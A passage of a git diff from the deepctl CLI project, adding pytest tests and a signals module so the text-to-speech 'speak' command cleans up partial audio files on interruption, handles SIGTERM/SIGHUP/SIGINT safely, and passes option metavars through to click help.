+        def unauthorized(**_):
+            raise RuntimeError("status_code: 401")
+            yield b""  # pragma: no cover
+
+        client.speak_text.side_effect = lambda **kw: unauthorized(**kw)
+        with pytest.raises(Exception, match="401"):
+            _run(SpeakCommand(), client, out_file="a.wav")
+        assert not Path("a.wav").exists()
+
+    def test_cut_stream_leaves_no_partial_file(self, fake_sys, client):
+        client.speak_text.return_value = _stream([b"a", b"b"], fail_after=True)
+        with pytest.raises(Exception, match="connection reset"):
+            _run(SpeakCommand(), client, out_file="a.wav")
+        assert list(Path().iterdir()) == []
+
+    def test_cut_stream_keeps_the_old_o_file(self, fake_sys, client):
+        Path("a.wav").write_bytes(b"old bytes")
+        client.speak_text.return_value = _stream([b"a"], fail_after=True)
+        with pytest.raises(Exception, match="connection reset"):
+            _run(SpeakCommand(), client, output="a.wav")
+        assert Path("a.wav").read_bytes() == b"old bytes"
+        assert [p.name for p in Path().iterdir()] == ["a.wav"]
+
+    def test_zero_chunks_leave_no_file(self, fake_sys, client):
+        client.speak_text.return_value = _stream([])
+        result = _run(SpeakCommand(), client, out_file="a.wav")
+        assert result.status == "error"
+        assert not Path("a.wav").exists()
+
+    def test_file_write_error_is_output_unwritable_with_no_partial_file(
+        self, fake_sys, client, monkeypatch
+    ):
+        real_write = os.write
+        calls = {"n": 0}
+
+        def fills_up(fd, data):
+            calls["n"] += 1
+            if calls["n"] > 1:
+                raise OSError(errno.ENOSPC, "No space left on device")
+            return real_write(fd, data)
+
+        monkeypatch.setattr(sinks.os, "write", fills_up)
+        client.speak_text.return_value = _stream([b"a", b"b", b"c"])
+        cmd = SpeakCommand()
+
+        result = _run(cmd, client, out_file="a.wav")
+
+        assert isinstance(result, SpeakCodedError)
+        assert result.code == "output_unwritable"
+        assert result.error == (
+            "Couldn't write the output to a.wav: No space left on device."
+        )
+        assert result.details == {"path": "a.wav", "reason": "No space left on device"}
+        assert cmd.exit_code_for(result) == 1
+        assert not Path("a.wav").exists()
+
+    def test_flux_file_is_created_on_the_first_frame(self, fake_sys, client):
+        seen: list[bool] = []
+
+        def check(i):
+            if i == 1:
+                seen.append(Path("a.wav").exists())
+
+        client.speak_text_stream.return_value = _stream(
+            [b"\x01\x00", b"\x02\x00"], check=check
+        )
+        result = _run(SpeakCommand(), client, out_file="a.wav", model="flux-alexis-en")
+        assert seen == [True]
+        assert isinstance(result, SpeakResult)
+        assert Path("a.wav").read_bytes()[:4] == b"RIFF"
+
+    def test_flux_cut_stream_leaves_no_file(self, fake_sys, client):
+        client.speak_text_stream.return_value = _stream([b"\x01\x00"], fail_after=True)
+        with pytest.raises(Exception, match="connection reset"):
+            _run(SpeakCommand(), client, out_file="a.wav", model="flux-alexis-en")
+        assert list(Path().iterdir()) == []
+
+    def test_machine_format_result_keeps_the_040_keys(self, fake_sys, client):
+        client.speak_text.return_value = _stream([b"abc"])
+        result = _run(SpeakCommand(), client, out_file="a.wav")
+        assert list(result.model_dump()) == [
+            "status",
+            "message",
+            "output_path",
+            "model",
+            "bytes_written",
+            "played",
+        ]
+
+
+# ── SIGTERM / SIGHUP mid-stream ─────────────────────────────────────────
+
+
+class TestTerminateMidStream:
+    @pytest.fixture
+    def died(self, monkeypatch):
+        calls: list[int] = []
+
+        def fake_die(signum):
+            calls.append(signum)
+            raise SystemExit(128 + signum)
+
+        monkeypatch.setattr(speak, "_die_by_signal", fake_die)
+        return calls
+
+    def _signalling_stream(self, sig, chunks):
+        import signal as _signal
+
+        def gen():
+            for i, chunk in enumerate(chunks):
+                yield chunk
+                if i == 0:
+                    os.kill(os.getpid(), sig)
+            raise AssertionError("the signal should have stopped the stream")
+
+        return gen(), _signal
+
+    @pytest.mark.parametrize("signame", ["SIGTERM", "SIGHUP"])
+    @pytest.mark.parametrize("model", ["aura-2-asteria-en", "flux-alexis-en"])
+    @pytest.mark.parametrize("force", [False, True])
+    def test_cleanup_runs_then_the_signal_ends_the_process(
+        self, fake_sys, client, died, signame, model, force
+    ):
+        import signal
+
+        sig = getattr(signal, signame)
+        if force:
+            Path("a.wav").write_bytes(b"OLD")
+        stream, _ = self._signalling_stream(
+            sig, [b"\x01\x00", b"\x02\x00", b"\x03\x00"]
+        )
+        if model.startswith("flux"):
+            client.speak_text_stream.return_value = stream
+        else:
+            client.speak_text.return_value = stream
+        before = signal.getsignal(sig)
+
+        with pytest.raises(SystemExit) as info:
+            _run(SpeakCommand(), client, out_file="a.wav", force=force, model=model)
+
+        assert info.value.code == 128 + sig
+        assert died == [sig]
+        if force:
+            assert Path("a.wav").read_bytes() == b"OLD"
+            assert [p.name for p in Path().iterdir()] == ["a.wav"]
+        else:
+            assert list(Path().iterdir()) == []
+        assert signal.getsignal(sig) == before  # handler restored
+
+    def test_a_stalled_unwind_is_cut_short_by_the_second_signal(
+        self, died, monkeypatch
+    ):
+        """If unwinding hangs (an unanswered close handshake), the
+        re-delivered signal runs the cleanup and ends the process."""
+        import signal
+
+        monkeypatch.setattr(speak, "_SIGNAL_GRACE_S", 0.05)
+        cleaned: list[bool] = []
+        with (
+            pytest.raises(SystemExit),
+            speak._terminate_cleanly(lambda: cleaned.append(True)),
+        ):
+            try:
+                os.kill(os.getpid(), signal.SIGTERM)
+                time.sleep(1)  # unreachable: the handler raises
+            except speak._Terminated:
+                # "Stuck" unwinding: wait until the re-delivered signal ends
+                # it (the handler raises SystemExit through this wait).
+                threading.Event().wait(60)
+        assert cleaned == [True]
+        assert died == [signal.SIGTERM]
+
+    def test_second_ctrl_c_cleans_up_and_cancels_like_the_first(self, monkeypatch):
+        """N-3: the second Ctrl-C (or the timer) unwinds by KeyboardInterrupt
+        again, so the usual cancel path, exit 2 and exit handlers follow;
+        the hard-exit backstop is cancelled with the guard."""
+        import signal
+
+        exits: list[int] = []
+        monkeypatch.setattr(speak.os, "_exit", exits.append)
+        cleaned: list[bool] = []
+        with (
+            pytest.raises(KeyboardInterrupt),
+            speak._terminate_cleanly(lambda: cleaned.append(True)),
+        ):
+            try:
+                os.kill(os.getpid(), signal.SIGINT)
+            except KeyboardInterrupt:
+                os.kill(os.getpid(), signal.SIGINT)
+        assert cleaned == [True]
+        assert exits == []
+        timers = [t for t in threading.enumerate() if isinstance(t, threading.Timer)]
+        assert all(t.finished.is_set() for t in timers)  # cancelled
+        assert signal.getsignal(signal.SIGINT) is signal.default_int_handler
+
+
+# ── Round 3: ignored signals, special bits, critical sections, fd paths ──
+
+
+class TestIgnoredSignalsStayIgnored:
+    """nohup, background jobs and `trap ''` keep their dispositions."""
+
+    @pytest.mark.parametrize("signame", ["SIGHUP", "SIGTERM", "SIGINT"])
+    def test_sig_ign_is_left_alone(self, signame):
+        import signal
+
+        sig = getattr(signal, signame)
+        before = signal.signal(sig, signal.SIG_IGN)
+        try:
+            with speak._terminate_cleanly(lambda: None):
+                assert signal.getsignal(sig) is signal.SIG_IGN
+                os.kill(os.getpid(), sig)  # ignored: nothing raises
+            assert signal.getsignal(sig) is signal.SIG_IGN
+        finally:
+            signal.signal(sig, before)
+
+    def test_a_handler_python_cant_restore_is_not_replaced(self, monkeypatch):
+        import signal
+
+        installed: list[int] = []
+        real_signal = signal.signal
+        real_getsignal = signal.getsignal
+        monkeypatch.setattr(
+            speak.signal,
+            "getsignal",
+            lambda sig: None if sig == signal.SIGHUP else real_getsignal(sig),
+        )
+
+        def recording(sig, handler):
+            installed.append(sig)
+            return real_signal(sig, handler)
+
+        monkeypatch.setattr(speak.signal, "signal", recording)
+        with speak._terminate_cleanly(lambda: None):
+            pass
+        assert signal.SIGHUP not in installed
+
+    @pytest.mark.parametrize("model", ["aura-2-asteria-en", "flux-alexis-en"])
+    @pytest.mark.parametrize("out_file", [True, False])
+    def test_the_stream_completes_through_an_ignored_sighup(
+        self, fake_sys, client, monkeypatch, model, out_file
+    ):
+        import signal
+
+        written: list[bytes] = []
+        fake_sys.stdout.buffer = Mock(write=written.append)
+
+        def gen():
+            yield b"\x01\x00"
+            os.kill(os.getpid(), signal.SIGHUP)
+            yield b"\x02\x00"
+
+        if model.startswith("flux"):
+            client.speak_text_stream.return_value = gen()
+        else:
+            client.speak_text.return_value = gen()
+        before = signal.signal(signal.SIGHUP, signal.SIG_IGN)
+        try:
+            kw = {"out_file": "a.wav"} if out_file else {}
+            result = _run(SpeakCommand(), client, model=model, **kw)
+        finally:
+            signal.signal(signal.SIGHUP, before)
+        if out_file:
+            assert isinstance(result, SpeakResult)
+            assert Path("a.wav").exists()
+        else:
+            assert result is None
+            assert b"\x02\x00" in written
+
+
+class TestRound3Sinks:
+    def test_replace_drops_setuid_setgid_and_sticky(self, tmp_path):
+        path = tmp_path / "a.wav"
+        path.write_bytes(b"old")
+        path.chmod(0o4755)
+        out = sinks.AudioFile(sinks.plan_target(str(path), overwrite=True))
+        out.write(b"new")
+        out.commit()
+        assert stat.S_IMODE(path.stat().st_mode) == 0o755
+
+    def test_a_signal_inside_the_rename_leaves_no_temp_file(
+        self, tmp_path, monkeypatch
+    ):
+        """N-1 (the reviewer's repro): os.replace interrupted; abort still
+        removes the temp file."""
+        path = tmp_path / "a.wav"
+        path.write_bytes(b"old")
+        out = sinks.AudioFile(sinks.plan_target(str(path), overwrite=True))
+        out.write(b"new")
+
+        def boom(*a):
+            raise speak._Terminated(15)
+
+        monkeypatch.setattr(sinks.os, "replace", boom)
+        with pytest.raises(speak._Terminated):
+            out.commit()
+        out.abort()
+        assert [p.name for p in tmp_path.iterdir()] == ["a.wav"]
+        assert path.read_bytes() == b"old"
+
+    def test_signals_wait_for_the_end_of_a_critical_section(self):
+        import signal
+
+        seen: list[str] = []
+
+        with (
+            pytest.raises(speak._Terminated),
+            speak._terminate_cleanly(lambda: None),
+        ):
+            with sinks.critical_section():
+                os.kill(os.getpid(), signal.SIGTERM)
+                seen.append("still inside")
+            seen.append("unreachable")
+        assert seen == ["still inside"]
+
+    def test_stdout_target_is_checked_on_fd_1_without_reopening(
+        self, tmp_path, monkeypatch
+    ):
+        f = tmp_path / "out.wav"
+        f.write_bytes(b"")
+        monkeypatch.setattr(sinks, "stdout_stat", lambda: os.stat(f))
+        target = sinks.plan_target(str(f), overwrite=False)
+        assert target.kind == "stdout"
+        opened: list[str] = []
+        real_open = os.open
+        monkeypatch.setattr(
+            sinks.os, "open", lambda p, *a: opened.append(p) or real_open(p, *a)
+        )
+        other = tmp_path / "other"
+        other.write_bytes(b"")
+        monkeypatch.setattr(sinks, "stdout_stat", lambda: os.stat(other))
+        with pytest.raises(sinks.Exists):
+            sinks.AudioFile(target).open()
+        assert opened == []
+
+    @pytest.mark.skipif(not os.path.isdir("/dev/fd"), reason="no /dev/fd")
+    def test_fd_path_with_force_is_refused_before_the_request(self, tmp_path):
+        victim = tmp_path / "v"
+        victim.write_bytes(b"VICTIM")
+        fd = os.open(victim, os.O_WRONLY | os.O_APPEND)
+        try:
+            path = f"/dev/fd/{fd}"
+            refusal = sinks.plan_target(path, overwrite=True)
+            assert refusal.reason == "unwritable"
+            assert refusal.error.strerror == (
+                "--force can't replace a file descriptor path"
+            )
+            assert sinks.plan_target(path, overwrite=False) == sinks.Refusal("exists")
+        finally:
+            os.close(fd)
+        assert victim.read_bytes() == b"VICTIM"
+
+    def test_stderr_is_refused(self, tmp_path, monkeypatch):
+        f = tmp_path / "err.log"
+        f.write_bytes(b"")
+        monkeypatch.setattr(sinks, "_stderr_stat", lambda: os.stat(f))
+        refusal = sinks.plan_target(str(f), overwrite=False)
+        assert refusal.reason == "unwritable"
+        assert refusal.error.strerror == (
+            "it's stderr, which carries this command's messages"
+        )
+
+
+class TestSignalGuardEdges:
+    """Windows re-delivery, the restore window, masks left blocked, bursts, and
+    cleanup outside the guard."""
+
+    def test_signal_inside_importlib_comes_again_later(self, monkeypatch):
+        """A raise inside importlib's lock bookkeeping can leave the import
+        lock held (a hang), so the guard lets the signal come again."""
+        import signal
+
+        from deepctl_core import signals
+
+        later: list[int] = []
+        inside = [True]
+        monkeypatch.setattr(signals, "in_importlib", lambda frame: inside[0])
+        monkeypatch.setattr(signals, "deliver_later", later.append)
+        signals._deferred_since.clear()
+        cleaned: list[bool] = []
+        with (
+            pytest.raises(speak._Terminated),
+            speak._terminate_cleanly(lambda: cleaned.append(True)),
+        ):
+            os.kill(os.getpid(), signal.SIGTERM)
+            time.sleep(0.05)  # handled, deferred: no raise
+            assert later == [signal.SIGTERM]
+            inside[0] = False
+            os.kill(os.getpid(), signal.SIGTERM)
+            time.sleep(1)  # unreachable: the handler raises
+        assert cleaned == []  # first signal: unwinding, no forced cleanup
+        signals._deferred_since.clear()
+
+    @staticmethod
+    def _importlib_frame():
+        import importlib
+        import sys
+
+        seen = []
+
+        class Finder:
+            def find_spec(self, name, path=None, target=None):
+                if name == "deepctl_speak_probe_xyz":
+                    seen.append(sys._getframe(1))
+
+        finder = Finder()
+        sys.meta_path.insert(0, finder)
+        try:
+            with pytest.raises(ModuleNotFoundError):
+                importlib.import_module("deepctl_speak_probe_xyz")
+        finally:
+            sys.meta_path.remove(finder)
+        return seen[0]
+
+    def test_guard_handler_defers_over_an_importlib_frame(self, monkeypatch):
+        """The guard's own handler holds a signal back inside importlib."""
+        import signal
+
+        from deepctl_core import signals
+
+        later: list[int] = []
+        monkeypatch.setattr(signals, "deliver_later", later.append)
+        signals._deferred_since.clear()
+        frame = self._importlib_frame()
+        with speak._terminate_cleanly(lambda: None):
+            installed = signal.getsignal(signal.SIGTERM)
+            installed(signal.SIGTERM, frame)  # no raise: deferred
+        assert later == [signal.SIGTERM]
+        signals._deferred_since.clear()
+
+    def test_guard_handler_coalesces_a_nested_signal(self, monkeypatch):
+        """The guard's handler uses core's coalescing, so a signal that
+        lands while it runs isn't judged by the handler's own frame."""
+        import signal
+        import sys
+
+        from deepctl_core import signals
+
+        calls: list[int] = []
+
+        def nested_then_defer(signum, frame):
+            calls.append(signum)
+            if len(calls) == 1:
+                signal.getsignal(signal.SIGTERM)(signum, sys._getframe())
+            return True
+
+        monkeypatch.setattr(speak, "_defer_in_importlib", nested_then_defer)
+        with speak._terminate_cleanly(lambda: None):
+            signal.getsignal(signal.SIGTERM)(signal.SIGTERM, None)
+        assert calls == [signal.SIGTERM]  # the nested call didn't run the body
+        assert signals._in_handler == []
+
+    def test_windows_never_kills_its_own_process(self, monkeypatch):
+        import signal
+
+        own = os.getpid()
+        killed: list[tuple[int, int]] = []
+        monkeypatch.setattr(sinks.os, "kill", lambda p, s: killed.append((p, s)))
+        interrupted: list[object] = []
+        import _thread
+
+        monkeypatch.setattr(_thread, "interrupt_main", lambda *a: interrupted.append(a))
+        monkeypatch.setattr(speak.os, "name", "nt")
+        speak._send_to_main(signal.SIGTERM)
+        assert interrupted == [(signal.SIGTERM,)]
+        with pytest.raises(SystemExit) as info:
+            speak._end_by_signal(signal.SIGTERM)
+        assert info.value.code == 128 + signal.SIGTERM
+        assert not [k for k in killed if k[0] == own]
+
+    def test_deferred_signal_is_raised_not_killed(self, monkeypatch):
+        import signal
+
+        def no_kill(pid, sig):
+            raise AssertionError("os.kill on our own pid")
+
+        monkeypatch.setattr(sinks.os, "kill", no_kill)
+        seen: list[int] = []
+
+        def h(signum, frame):
+            if sinks.defer_signal(signum):
+                return
+            seen.append(signum)
+
+        h._deepctl_defers = True
+        before = signal.signal(signal.SIGHUP, h)
+        try:
+            with sinks.critical_section():
+                sinks.defer_signal(signal.SIGHUP)
+            assert seen == [signal.SIGHUP]
+        finally:
+            signal.signal(signal.SIGHUP, before)
+
+    def test_most_severe_deferred_signal_wins(self):
+        """N-1: TERM then INT during a section ends by TERM."""
+        import signal
+
+        seen: list[int] = []
+
+        def h(signum, frame):
+            if sinks.defer_signal(signum):
+                return
+            seen.append(signum)
+
+        h._deepctl_defers = True
+        saved = {s: signal.signal(s, h) for s in (signal.SIGINT, signal.SIGTERM)}
+        try:
+            with sinks.critical_section():
+                sinks.defer_signal(signal.SIGTERM)
+                sinks.defer_signal(signal.SIGINT)
+            assert seen == [signal.SIGTERM]
+        finally:
+            for s, old in saved.items():
+                signal.signal(s, old)
+
+    @pytest.mark.parametrize("signame", ["SIGINT", "SIGTERM"])
+    def test_a_signal_during_the_restore_reaches_the_restored_handler(
+        self, monkeypatch, signame
+    ):
+        """S-2: closed guard, original handlers back, no live timer, no
+        cleanup; the signal goes to the handler that was there before."""
+        import signal
+
+        sig = getattr(signal, signame)
+        outer: list[int] = []
+        saved = {
+            s: signal.signal(s, lambda n, f: outer.append(n))
+            for s in (signal.SIGINT, signal.SIGTERM, signal.SIGHUP)
+        }
+        mine = {s: signal.getsignal(s) for s in saved}
+        real = signal.signal
+        armed = [True]
+
+        def wrapped(s, h):
+            if armed[0] and getattr(h, "__name__", "") != "handler":
+                armed[0] = False
+                os.kill(os.getpid(), sig)  # arrives during the restore
+            return real(s, h)
+
+        cleaned: list[bool] = []
+        try:
+            monkeypatch.setattr(speak.signal, "signal", wrapped)
+            with speak._terminate_cleanly(lambda: cleaned.append(True)):
+                pass
+            monkeypatch.setattr(speak.signal, "signal", real)
+
+            def settled() -> bool:
+                timers = [
+                    t for t in threading.enumerate() if isinstance(t, threading.Timer)
+                ]
+                return bool(outer) and all(t.finished.is_set() for t in timers)
+
+            # Wait for the signal and any timer, up to a generous deadline.
+            deadline = time.monotonic() + 5.0
+            while not settled() and time.monotonic() < deadline:
+                time.sleep(0.01)
+            assert outer == [sig]
+            assert cleaned == []
+            assert {s: signal.getsignal(s) for s in saved} == mine
+            live = [t for t in threading.enumerate() if isinstance(t, threading.Timer)]
+            assert all(t.finished.is_set() for t in live)
+        finally:
+            for s, old in saved.items():
+                real(s, old)
+
+    @pytest.mark.skipif(
+        not hasattr(__import__("signal"), "pthread_sigmask"), reason="POSIX"
+    )
+    def test_mask_is_restored_under_a_signal_flood(self):
+        """S-3: the mask is always restored, even when a pending handler
+        raises inside the section's own setup. Run in a child process: the
+        flood can land on any bytecode."""
+        import subprocess
+        import sys as _sys
+
+        code = """
+import os, signal, threading, time
+from deepctl_cmd_speak import sinks
+class Boom(BaseException): pass
+stop = threading.Event()
+def h(signum, frame):
+    if sinks.defer_signal(signum) or stop.is_set():
+        return
+    raise Boom
+h._deepctl_defers = True
+signal.signal(signal.SIGTERM, h)
+go = threading.Event()
+def flood():
+    go.wait()
+    while not stop.is_set():
+        os.kill(os.getpid(), signal.SIGTERM); time.sleep(0.0002)
+threading.Thread(target=flood, daemon=True).start()
+stuck = raises = 0
+go.set()
+end = time.monotonic() + 1.5
+while True:
+    try:
+        while time.monotonic() < end:
+            try:
+                with sinks.critical_section():
+                    pass
+            except Boom:
+                raises += 1
+                if signal.SIGTERM in signal.pthread_sigmask(signal.SIG_BLOCK, set()):
+                    stuck += 1
+                    signal.pthread_sigmask(signal.SIG_SETMASK, set())
+        stop.set()
+        break
+    except Boom:
+        raises += 1
+time.sleep(0.05)
+print(f"raises={raises} masks_left_blocked={stuck} critical={sinks._critical}")
+"""
+        p = subprocess.run(
+            [_sys.executable, "-c", code], capture_output=True, text=True, timeout=60
+        )
+        assert p.returncode == 0, p.stderr[-2000:]
+        assert "masks_left_blocked=0 critical=0" in p.stdout, p.stdout
+        assert "raises=0" not in p.stdout
+
+    def test_abort_outside_the_guard_still_removes_the_temp_file(self, tmp_path):
+        """N-2: a Ctrl-C taken by another thread while abort() runs with no
+        guard installed is held until the removal is done."""
+        import signal
+
+        path = tmp_path / "a.wav"
+        path.write_bytes(b"OLD")
+        out = sinks.AudioFile(sinks.plan_target(str(path), overwrite=True))
+        out.write(b"x" * 100)
+        real_close = os.close
+        fd = out._fd
+
+        def close_then_signal(n):
+            real_close(n)
+            if n == fd:
+                t = threading.Thread(target=os.kill, args=(os.getpid(), signal.SIGINT))
+                t.start()
+                t.join()
+                time.sleep(0.05)
+
+        sinks.os.close = close_then_signal
+        try:
+            with pytest.raises(KeyboardInterrupt):
+                out.abort()  # delivered after the section, not inside it
+        finally:
+            sinks.os.close = real_close
+        assert [p.name for p in tmp_path.iterdir()] == ["a.wav"]
+        assert path.read_bytes() == b"OLD"
+        assert signal.getsignal(signal.SIGINT) is signal.default_int_handler
diff --git a/packages/deepctl-core/src/deepctl_core/base_group_command.py b/packages/deepctl-core/src/deepctl_core/base_group_command.py
index 43a5d197..1c64e565 100644
--- a/packages/deepctl-core/src/deepctl_core/base_group_command.py
+++ b/packages/deepctl-core/src/deepctl_core/base_group_command.py
@@ -166,6 +166,7 @@ def get_click_group(self) -> click.Group:
                         required=arg.get("required", False),
                         is_flag=arg.get("is_flag", False),
                         multiple=arg.get("multiple", False),
+                        **({"metavar": arg["metavar"]} if "metavar" in arg else {}),
                     )(group)
                 else:
                     group = click.argument(
diff --git a/packages/deepctl-core/src/deepctl_core/plugin_manager.py b/packages/deepctl-core/src/deepctl_core/plugin_manager.py
index 894ac79a..59b4da93 100644
--- a/packages/deepctl-core/src/deepctl_core/plugin_manager.py
+++ b/packages/deepctl-core/src/deepctl_core/plugin_manager.py
@@ -1212,6 +1212,8 @@ def _add_command_arguments(
                     }
                     if not is_flag:
                         option_kwargs["type"] = arg.get("type", str)
+                    if "metavar" in arg:
+                        option_kwargs["metavar"] = arg["metavar"]
                     cmd = click.option(*arg.get("names", []), **option_kwargs)(cmd)
                 else:
                     # Add as argument
diff --git a/packages/deepctl-core/src/deepctl_core/signals.py b/packages/deepctl-core/src/deepctl_core/signals.py
new file mode 100644
index 00000000..3716d07f
--- /dev/null
+++ b/packages/deepctl-core/src/deepctl_core/signals.py
@@ -0,0 +1,207 @@
+"""Ending the process by a signal, for commands that catch one to clean up.
+
+Stdlib only and cheap to import: command modules use it at import time.
+"""
+
+from __future__ import annotations
+
+import _imp
+import _thread
+import os
+import signal
+import sys
+import threading
+import time
+from typing import TYPE_CHECKING
+
+if TYPE_CHECKING:
+    from collections.abc import Callable
+    from types import FrameType
+
+    Handler = Callable[[int, FrameType | None], None]
+
+__all__ = [
+    "coalescing",
+    "defer_in_importlib",
+    "deliver_later",
+    "die_by_signal",
+    "in_importlib",
+    "install_interrupt_handler",
+    "send_to_main",
+]
+
+
+def die_by_signal(signum: int) -> None:
+    """End the process by ``signum`` with its default action, so the wait
+    status is "killed by signal N" (shells report 128+N).
+
+    stdout and stderr are flushed first. PID 1 in a container ignores a
+    default-action signal, so if the process is still here afterwards it
+    exits with the shell's 128+N. POSIX only: on Windows ``os.kill`` of our
+    own pid is TerminateProcess, so callers there exit instead.
+    """
+    for stream in (sys.stdout, sys.stderr):
+        try:
+            stream.flush()
+        except Exception:
+            pass
+    try:
+        signal.signal(signum, signal.SIG_DFL)
+        if hasattr(signal, "pthread_sigmask"):
+            # A signal left blocked would stay pending and never kill.
+            signal.pthread_sigmask(signal.SIG_UNBLOCK, {signum})
+        os.kill(os.getpid(), signum)
+        time.sleep(0.05)
+    except Exception:
+        pass
+    os._exit(128 + signum)
+
+
+#: Where importlib's own lock bookkeeping runs. A KeyboardInterrupt raised
+#: in one of these frames can land between acquiring the global import lock
+#: and the ``try`` that releases it (and in the module-lock weakref callback
+#: it is swallowed outright), so every later import, and the run, hangs.
+_IMPORTLIB_FILES = frozenset(
+    {"<frozen importlib._bootstrap>", "<frozen importlib._bootstrap_external>"}
+)
+
+#: The longest a SIGINT is postponed, from its first deferral.
+_MAX_DEFER_S = 0.2
+
+#: A deferral older than this was never delivered (the handler changed, or
+#: the re-send was lost): the next signal starts a fresh window.
+_STALE_DEFER_S = 1.0
+
+_deferred_since: list[float] = []
+_in_handler: list[bool] = []
+
+
+def _own_file() -> str:
+    return _own_file.__code__.co_filename
+
+
+def in_importlib(frame: FrameType | None) -> bool:
+    """True when the interrupted ``frame`` is importlib's own code. Frames of
+    this module are skipped: a second signal can arrive while a handler here
+    runs, and what matters is where the first one interrupted."""
+    while frame is not None and frame.f_code.co_filename == _own_file():
+        frame = frame.f_back
+    return frame is not None and frame.f_code.co_filename in _IMPORTLIB_FILES
+
+
+def send_to_main(signum: int) -> None:
+    """Deliver ``signum`` to the main thread (from any thread).
+
+    POSIX: ``signal.pthread_kill`` to the main thread, a real signal, so it
+    also interrupts a blocking wait there. ``_thread.interrupt_main`` would
+    only set a flag that is checked once that wait returns.
+    Windows: ``_thread.interrupt_main``; ``os.kill`` on our own pid there is
+    TerminateProcess, which would skip the cleanup.
+    """
+    if os.name != "nt" and hasattr(signal, "pthread_kill"):
+        main = threading.main_thread().ident
+        if main is not None:
+            signal.pthread_kill(main, signum)
+            return
+    try:
+        _thread.interrupt_main(signal.Signals(signum))
+    except (ValueError, TypeError):
+        _thread.interrupt_main()  # a signal it can't simulate: Ctrl-C
+
+
+def _resend(signum: int) -> None:
+    # Under load, starting this timer can take longer than its delay. Wait
+    # for the handler that started it to return, or the signal would arrive
+    # inside that handler and be taken for a second Ctrl-C.
+    deadline = time.monotonic() + 1.0
+    while _in_handler and time.monotonic() < deadline:
+        time.sleep(0.001)
+    send_to_main(signum)
+
+
+def deliver_later(signum: int, delay: float = 0.01) -> None:
+    """Send ``signum`` to the main thread again after ``delay`` seconds."""
+    timer = threading.Timer(delay, _resend, (signum,))
+    timer.daemon = True
+    timer.start()
+
+
+def defer_in_importlib(signum: int, frame: FrameType | None) -> bool:
+    """For a signal handler about to raise: if ``frame`` is importlib's own
+    code, send the signal again a moment later and return True (the handler
+    returns without raising). After ``_MAX_DEFER_S`` of deferrals (unless
+    the import lock is held right now), or outside importlib, return False
+    so the handler raises as usual."""
+    now = time.monotonic()
+    if _deferred_since and now - _deferred_since[0] > _STALE_DEFER_S:
+        _deferred_since.clear()
+    if in_importlib(frame) and (
+        not _deferred_since
+        or now - _deferred_since[0] < _MAX_DEFER_S
+        or _import_lock_held()
+    ):
+        try:
+            deliver_later(signum)
+        except RuntimeError:
+            # No new thread at interpreter shutdown: deliver it now instead.
+            _deferred_since.clear()
+            return False
+        if not _deferred_since:
+            _deferred_since.append(now)
+        return True
+    _deferred_since.clear()
+    return False
+
+
+def _import_lock_held() -> bool:
+    """Past the cap, a signal is still held back while the import lock is
+    held: in importlib's frames that means inside its locked bookkeeping, the
+    one place a raise is unsafe. (A main thread waiting for another thread's
+    lock is blocked in C, where no handler runs.)"""
+    try:
+        return bool(_imp.lock_held())
+    except Exception:
+        return False
+
+
+def coalescing(handler: Handler) -> Handler:
+    """Wrap a signal handler that uses :func:`defer_in_importlib`.
+
+    A signal that arrives while the handler runs is coalesced into the one
+    being handled (its frame would be the handler's, not where the first
+    signal landed), and a re-send waits for the handler to return.
+    """
+
+    def wrapped(signum: int, frame: FrameType | None) -> None:
+        if _in_handler:
+            return  # a second signal while the first is handled
+        _in_handler.append(True)
+        try:
+            handler(signum, frame)
+        finally:
+            _in_handler.clear()
+
+    wrapped.__wrapped__ = handler  # type: ignore[attr-defined]
+    return wrapped
+
+
+def _interrupt(signum: int, frame: FrameType | None) -> None:
+    if defer_in_importlib(signum, frame):
+        return
+    raise KeyboardInterrupt
+
+
+_on_interrupt = coalescing(_interrupt)
+
+
+def install_interrupt_handler() -> None:
+    """Replace Python's default SIGINT handler with one that raises
+    ``KeyboardInterrupt`` the same way, except inside importlib's own code
+    (see :func:`defer_in_importlib`), where the signal comes again a moment
+    later. A SIGINT that is ignored or handled elsewhere is left alone.
+    """
+    try:
+        if signal.getsignal(signal.SIGINT) is signal.default_int_handler:
+            signal.signal(signal.SIGINT, _on_interrupt)
+    except (OSError, ValueError):
+        pass  # not the main thread, or no SIGINT here
diff --git a/packages/deepctl-core/tests/unit/test_base_group.py b/packages/deepctl-core/tests/unit/test_base_group.py
index 93529724..eed79d2e 100644
--- a/packages/deepctl-core/tests/unit/test_base_group.py
+++ b/packages/deepctl-core/tests/unit/test_base_group.py
@@ -239,6 +239,23 @@ def handle_group(
         assert len(click_group.params) == 1
         assert click_group.params[0].name == "verbose"
 
+    @pytest.mark.unit
+    def test_group_option_metavar_is_passed_through(self):
+        class GroupWithFile(BaseGroupCommand):
+            name = "testgroup"
+            help = "Test group"
+
+            def get_arguments(self) -> list[dict[str, Any]]:
+                return [
+                    {"names": ["--out-file"], "is_option": True, "metavar": "FILE"}
+                ]
+
+            def handle_group(self, *args: Any, **kwargs: Any) -> Any:
+                return None
+
+        click_group = GroupWithFile().get_click_group()
+        assert "--out-file FILE" in click_group.get_help(click.Context(click_group))
+
     @pytest.mark.unit
     def test_group_callback_execution(self, mock_group_command_class):
         """Test that the group callback properly executes."""
diff --git a/packages/deepctl-core/tests/unit/test_plugin_manager.py b/packages/deepctl-core/tests/unit/test_plugin_manager.py
index 180979b4..d18b3511 100644
--- a/packages/deepctl-core/tests/unit/test_plugin_manager.py
+++ b/packages/deepctl-core/tests/unit/test_plugin_manager.py
@@ -154,6 +154,28 @@ def test_function_name_conversion_for_hyphens(
         # Check that function name has underscores
         assert click_command.callback.__name__ == "test_hyphenated_command"
 
+    @pytest.mark.unit
+    def test_option_metavar_is_passed_through(self, plugin_manager):
+        """An argument dict's "metavar" names the value in --help."""
+
+        class Saves(BaseCommand):
+            name = "saves"
+            help = "Saves"
+
+            def get_arguments(self) -> List[Dict[str, Any]]:
+                return [
+                    {"names": ["--out-file"], "is_option": True, "metavar": "FILE"},
+                    {"names": ["--note"], "is_option": True},
+                ]
+
+            def handle(self, *args: Any, **kwargs: Any) -> Any:
+                return None
+
+        cmd = plugin_manager._create_click_command(Saves())
+        help_text = cmd.get_help(click.Context(cmd))
+        assert "--out-file FILE" in help_text
+        assert "--note TEXT" in help_text
+
     @pytest.mark.unit
     def test_group_function_name_conversion_for_hyphens(
         self, plugin_manager, mock_group_command_class
diff --git a/packages/deepctl-core/tests/unit/test_signals.py b/packages/deepctl-core/tests/unit/test_signals.py
new file mode 100644
index 00000000..51ef7a5d
--- /dev/null
+++ b/packages/deepctl-core/tests/unit/test_signals.py
